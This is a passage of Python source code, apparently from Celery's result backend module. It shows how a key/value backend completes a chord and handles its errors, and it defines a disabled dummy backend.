                    ChordError(f'Cannot restore group: {exc!r}'),
                )
            if deps is None:
                try:
                    raise ValueError(gid)
                except ValueError as exc:
                    callback = maybe_signature(request.chord, app=app)
                    logger.exception('Chord callback %r raised: %r', gid, exc)
                    return self.chord_error_from_stack(
                        callback,
                        ChordError(f'GroupResult {gid} no longer exists'),
                    )
            val = self.incr(key)
            # Set the chord size to the value defined in the request, or fall back
            # to the number of dependencies we can see from the restored result
            size = request.chord.get("chord_size")
            if size is None:
                size = len(deps)
            if val > size:  # pragma: no cover
                logger.warning('Chord counter incremented too many times for %r',
                               gid)
            elif val == size:
                callback = maybe_signature(request.chord, app=app)
                j = deps.join_native if deps.supports_native_join else deps.join
                try:
                    with allow_join_result():
                        ret = j(
                            timeout=app.conf.result_chord_join_timeout,
                            propagate=True)
                except Exception as exc:  # pylint: disable=broad-except
                    try:
                        culprit = next(deps._failed_join_report())
                        reason = 'Dependency {0.id} raised {1!r}'.format(
                            culprit, exc,
                        )
                    except StopIteration:
                        reason = repr(exc)
                    logger.exception('Chord %r raised: %r', gid, reason)
                    chord_error = _create_chord_error_with_cause(message=reason, original_exc=exc)
                    self.chord_error_from_stack(callback=callback, exc=chord_error)
                else:
                    try:
                        callback.delay(ret)
                    except Exception as exc:  # pylint: disable=broad-except
                        logger.exception('Chord %r raised: %r', gid, exc)
                        chord_error = _create_chord_error_with_cause(
                            message=f'Callback error: {exc!r}', original_exc=exc
                        )
                        self.chord_error_from_stack(callback=callback, exc=chord_error)
                finally:
                    deps.delete()
                    self.delete(key)
            else:
                self.expire(key, self.expires)

    class KeyValueStoreBackend(BaseKeyValueStoreBackend, SyncBackendMixin):
        """Result backend base class for key/value stores."""

    class DisabledBackend(BaseBackend):
        """Dummy result backend."""

        _cache = {}  # need this attribute to reset cache in tests.

        def store_result(self, *args, **kwargs):
            pass

        def ensure_chords_allowed(self):
            raise NotImplementedError(E_CHORD_NO_BACKEND.strip())

        def _is_disabled(self, *args, **kwargs):
            raise NotImplementedError(E_NO_BACKEND.strip())

        def as_uri(self, *args, **kwargs):
            return 'disabled://'

        get_state = get_status = get_result = get_traceback = _is_disabled
        get_task_meta_for = wait_for = get_many = _is_disabled